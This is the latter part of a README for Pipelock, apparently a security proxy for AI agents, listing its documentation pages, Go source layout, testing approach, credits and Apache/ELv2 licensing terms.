Metrics Reference	Prometheus metric families, labels, JSON stats, and alert rules
Community Rules	Install, configure, and create signed rule bundles
Security Assurance	Security model, trust boundaries, supply chain
Security Documents	Disclosure policy, unsupported paths, key rotation, TLS CA and Audit Packet threat models
Enterprise Readiness	Shipped enterprise controls, evaluation path, deployment decisions, and explicit boundaries
Reproducible Builds	Byte-for-byte OSS binary check, stable inputs, release integration, and scope
Finding Suppression	Rule names, path matching, inline comments
Transport Modes	All proxy modes and their scanning capabilities
OWASP MCP Top 10	OWASP MCP Top 10 coverage
OWASP Agentic Top 15	OWASP Agentic AI Top 15 coverage
OWASP LLM Top 10	OWASP Top 10 for LLM Applications (2025) coverage
EU AI Act	EU AI Act compliance mapping
NIST 800-53	NIST SP 800-53 Rev. 5 controls mapping
Assess Mapping	Maps runtime controls to the frameworks pipelock assess produces evidence against, for procurement and audit review
Policy Spec v0.1	Portable agent firewall policy format
Mediation Envelope	Sideband metadata headers, config, interaction with receipts
Media Policy	Stego stripping, SVG hardening, allowed types, size limits
Evidence Terminology	Quick reference for ActionReceipt, EvidenceReceipt, flight recorder, checkpoints, anchors, coverage certificates, and Audit Packets, with the integrity-vs-completeness and pinned-vs-unpinned distinctions
Receipt Verification	pipelock verify-receipt, Fleet Receipt Report verification, standalone pipelock-verifier, conformance suite, chain integrity
Receipt Spec Profiles	in-toto attestation predicate for action receipts, with companion SCITT and AARP profiles and prior-art mapping
Audit Packet Threat Model	What verified Audit Packets prove, what they do not prove, and the trust assumptions relying parties must pin
Receipt Transport Coverage	Receipt emission matrix across fetch, forward, CONNECT/TLS, WebSocket, MCP, and A2A paths
Learn-and-Lock	Per-agent behavioral contracts: observe, compile, shadow, ratify, promote (v2.4)
Federation	Inbound mediation envelope verification, SPIFFE actor format, RFC 9421 well-known directory (v2.4)
Block-Reason Header	X-Pipelock-Block-Reason schema, reason vocabulary, retry hints (v2.4)
Health Endpoint	/health 503 wedge detection, subsystem heartbeats, operator dashboard config (v2.4)
Host Containment	pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh for 3-UID nftables owner-match containment with kernel-observed posture attestation (v2.5)
MCP Integrity Manifests	Generate, verify, sign, and require trusted MCP binary-integrity manifests (v2.5)
Adaptive CLI	Inspect and flush adaptive-enforcement runtime state through the admin API (v2.5)
Conductor	The Enterprise fleet control plane: policy distribution, audit sink, remote kill, rollback, mTLS/SPIFFE trust, licensing (v2.7, Enterprise)
Conductor Operator Runbook	Hands-on local fleet walkthrough: bootstrap, serve, sign a batch, verify offline
Conductor Operator Quickstart	Zero to a read-only fleet audit: license, operator mTLS cert, auditor token, read-only commands
Kubernetes Enterprise Deployment	Helm-based Conductor fleet: control plane, followers, fleet-sink, PKI Secrets, NetworkPolicies
pipelock license	Install, inspect, and check the license that unlocks paid features (Pro agents, Enterprise fleet)
pipelock baseline	Inspect, ratify, and relearn behavioral-baseline profiles through the authenticated admin API
Posture Capsule	Signed posture snapshots, posture verify CLI, CI gate, scoring model
pipelock init sidecar	Generate enforced Kubernetes companion-proxy manifests and MCP launcher contracts (strategic-merge, Kustomize, Helm values)
pipelock session	Operator CLI for airlock inspection and recovery (list, inspect, explain, release, terminate, recover)
pipelock keys status	Unified signing-key inventory: per-purpose source, presence, readability, validity, and public-key fingerprint
Flight Recorder	Hash-chained signed evidence log: default-on behavior, transcript-root seal, redaction, escrow, key rotation
TLS Interception	CONNECT-tunnel MITM: CA setup, body/header/response scanning, passthrough domains
Canary Tokens	Synthetic secrets that trip an alert the moment an agent tries to exfiltrate one
Detection Integration	Feed Pipelock decisions and evidence into external detection / SIEM pipelines
PR Review	Manual-trigger AI security review for pull requests (/review comment)
MCP Inspector Front	Front MCP dev tools (Inspector, test servers) through Pipelock scanning
pipelock demo	Self-contained attack scenarios with signed, offline-verifiable receipts, no config or network needed
Badges	Drop-in Markdown for the scanned by pipelock badge on downstream projects

---

Project Structure

cmd/pipelock/          CLI entry point
internal/
  cli/                 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
    diag/              `pipelock doctor` and install-verification diagnostics
    session/           `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
    setup/             `pipelock init sidecar`: companion-proxy manifest generation (K8s)
  config/              YAML config, validation, defaults, hot-reload (fsnotify)
  scanner/             Ordered URL scanning pipeline + response injection detection
  audit/               Structured JSON logging (zerolog) + event emission dispatch
  proxy/               HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
  mcp/                 MCP proxy + bidirectional scanning + tool poisoning + chains
    integrity/         MCP binary/script integrity manifests and trust workflow
  discover/            IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
  killswitch/          Emergency deny-all (6 sources) + port-isolated API
  envelope/            Mediation envelope (RFC 8941) for sideband metadata
  media/               Image metadata stripping (JPEG/PNG byte-level surgery)
  normalize/           Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
  receipt/             Action receipt signing + hash-chained evidence
  posture/             Posture capsule schema, signing, scoring, verify policy
  session/             Session state, taint classification, task boundaries, trust overrides
  rules/               Bundle loader, tier taxonomy, RequiredFeatures enforcement
  sandbox/             Landlock, seccomp, netns, macOS sandbox-exec
  shield/              Airlock, browser shield, SVG hardening
  signing/             Ed25519 key management
  integrity/           SHA256 file integrity monitoring
  report/              HTML/JSON audit report generation
enterprise/            Multi-agent features (ELv2)
sdk/conformance/       Cross-implementation receipt verification test vectors
charts/                Helm chart for Kubernetes deployment
configs/               7 built-in preset config files
docs/                  Guides, references, compliance mappings

---

Testing

Pipelock is tested like a security product. The open-source core has unit, integration, and end-to-end tests. A separate private adversarial suite exercises attack classes against the production binary. Every bypass graduates into a regression test before release.

Metric	Value
Go tests (with -race)	Unit, integration, and end-to-end paths
Coverage gate (codecov)	91% Apache-2.0 core project, 95% patch on new code
Evasion coverage	Public bypass-resistance matrix + private adversarial corpus
Scanner hot-path overhead	~40us per URL scan (hot-path benchmark; see docs/performance.md)
CI matrix	Go 1.25 + 1.26, CodeQL, golangci-lint
Supply chain	SLSA provenance, CycloneDX SBOM, cosign signatures

Run make test to verify locally. First-party benchmark evidence: the public agent-egress-bench corpus. See the live results.

---

Credits

• Architecture influenced by Anthropic's Claude Code sandboxing and sandbox-runtime
• Threat model informed by OWASP Agentic AI Top 10
• See docs/comparison.md for how Pipelock relates to other tools in this space
• Security review contributions from Dylan Corrales

Contributions welcome. See CONTRIBUTING.md for guidelines.

If Pipelock is useful, please star this repository. It helps others find the project.

---

License

Pipelock core is licensed under the Apache License 2.0. Copyright 2026 Joshua Waldrep.

Multi-agent features (per-agent identity, budgets, and configuration isolation) are in the enterprise/ directory, gated by the enterprise build tag and licensed under the Elastic License 2.0 (ELv2). These features activate with a valid license key.

The open-source core works independently without paid features. All scanning, detection, and single-agent protection is free.

Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier code that activates with a valid license key. Building from source with make build, make install, or the repository Dockerfile produces a Community-only binary.

See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.